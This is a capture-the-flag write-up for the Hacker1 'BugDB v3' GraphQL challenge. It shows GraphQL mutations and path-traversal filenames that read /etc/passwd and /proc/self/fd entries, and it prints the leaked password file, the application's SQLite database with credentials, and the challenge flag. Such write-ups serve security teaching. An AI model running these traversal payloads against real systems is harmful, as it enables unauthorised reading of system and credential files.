Hacker1 CTF - BugDB v3

Don't get too attached 📎

Back at it with another CTF related to GraphQL. We're presented with nothing but a link to graphiql but that's going to be enough to have some fun.

Recon

Browsing the built in schema documentation, we can begin with some queries to gather data:

query {
  allUsers {
    edges {
      node {
        bugs {
          edges {
            node {
              id,
              reporter {
                username
              },
              attachments {
                edges {
                  node {
		  id,
                    filename
                  }
                }
              }
            }
          }
        }          
      }
    }
  }
}

*responses trimmed for brevity

      "edges": [
        {
          "node": {
            "id": "VXNlcnM6MQ==",
            "username": "admin",
            "bugs": {
              "edges": [
                {
                  "node": {
                    "id": "QnVnczox"
                  }
                }
              ]
            }
          }
        },

Step 1:

Attach a file. You specify the contents and not an actual file or filename:

mutation NewFile($id: Int, $content: String!) {
  attachFile(bugId: $id, contents: $content) {
    ok
  }
}

With query parameters: {"id": 1, "content": "hello world"}

Now we can see that we have added an attachment, and it appears to be written to a file named "0472316f88d4941b9510a4439b1be383"

          "node": {
            "id": "VXNlcnM6MQ==",
            "username": "admin",
            "bugs": {
              "edges": [
                {
                  "node": {
                    "id": "QnVnczox",
                    "private": false,
                    "reporterId": 1,
                    "attachments": {
                      "edges": [
                        {
                          "node": {
                            "id": "QXR0YWNobWVudHM6MQ==",
                            "filename": "0472316f88d4941b9510a4439b1be383"
                          }
                        }
                      ]
                    }
                  }
                }
              ]
            }
          }
        },

Step 2:

The other mutation we have access to allows one to modify an existing attachment, specifically the filename. What happens if we specify some other filename likely to be on the filesystem?

mutation ModifyFile($id: Int, $filename: String!) {
  modifyAttachment(id: $id, filename: $filename) {
    ok
  }
}

{"id": 1, "filename": "/etc/passwd"}

{
  "errors": [
    {
      "path": [
        "modifyAttachment"
      ],
      "message": "[Errno 2] No such file or directory: u'attachments//etc/passwd'",
      "locations": [
        {
          "column": 3,
          "line": 2
        }
      ]
    }
  ],
  "data": {
    "modifyAttachment": null
  }
}

Oh goody! It didn't like that path because it needs to be relative to "attachments" but it didn't reject the path input. So why not something like:

{"id": 1, "filename": "../../../../../../../etc/passwd"}
{
  "data": {
    "modifyAttachment": {
      "ok": true
    }
  }
}

Step 3:

Where the heck are these attachments stored anyway? Oh right! "attachments". So what have we got?

http://35.227.24.107/e87e2e0c31/attachments/1

👺!

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12👨/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
nginx:x:101:102:nginx user,,,:/nonexistent:/bin/false

There is nothing particularly magical about /etc/passwd, but it shows that we have what appears to be unfettered access to the filesystem.

So we can read any file, but we have no idea what file to read... I tried a bunch of files (all readable, but none had the flag we are looking for):

Well there is a magical filesystem on *nix machines! The proc filesystem is a treasure trove of information that can be read just like regular files. I spent a loooong time exploring (guessing) and trying to think of how I could use this including:

😕

In the end, I figured the web server might have a file open that contains the flag. The proc filesystem has two neat tricks we can use. /proc/self/ - This magically resolves to the /proc/[pid] directory of the current process. If the current process is the web server, why then we ought to be able to find out about what the web server is doing.

😢

No luck. But wait, there's more!

/proc/[pid]/fd - This directory has a "file" for each file descriptor the current process has open. If the web server has a file open that contains the flag, we ought to be able to read it! Since we don't know which file descriptor it might be, just keep trying them all (0 = stdin, 1 = stdout, 2 = stderr, and on from there are the other files the process has open

🕶

Flag 0

Trying each of the entries in /proc/self/fd/(4, 5, and then 6) we finally find a crucial file the process has open... the sqlite database underlying the application!

SQLite format 3@ .B  �u� ��?##�EtableattachmentsattachmentsCREATE TABLE attachments ( id INTEGER NOT NULL, bug_id INTEGER, filename VARCHAR(255), PRIMARY KEY (id), FOREIGN KEY(bug_id) REFERENCES bugs (id) )�`�#tablebugsbugsCREATE TABLE bugs ( id INTEGER NOT NULL, reporter_id INTEGER, text TEXT(65536), private BOOLEAN, PRIMARY KEY (id), FOREIGN KEY(reporter_id) REFERENCES users (id), CHECK (private IN (0, 1)) )��otableusersusersCREATE TABLE users ( id INTEGER NOT NULL, username VARCHAR(255), password VARCHAR(255), PRIMARY KEY (id) ) ���K� victim88bc3e32cda4baa7ddcdd342ba5c09e1f2d2b59d4a1f7b122e6ec3afeaf5971fadminpassword ���S�% ^FLAG^ca3e8c7fde8f551025d0aca09c472e382fa504138c3834ceea5564833b362686$FLAG$ 9This is an example bug ���� ;../../../proc/self/fd/6 ;../../../proc/self/fd/5 ;../../../proc/self/fd/4

We win! Don't get too attached. 📎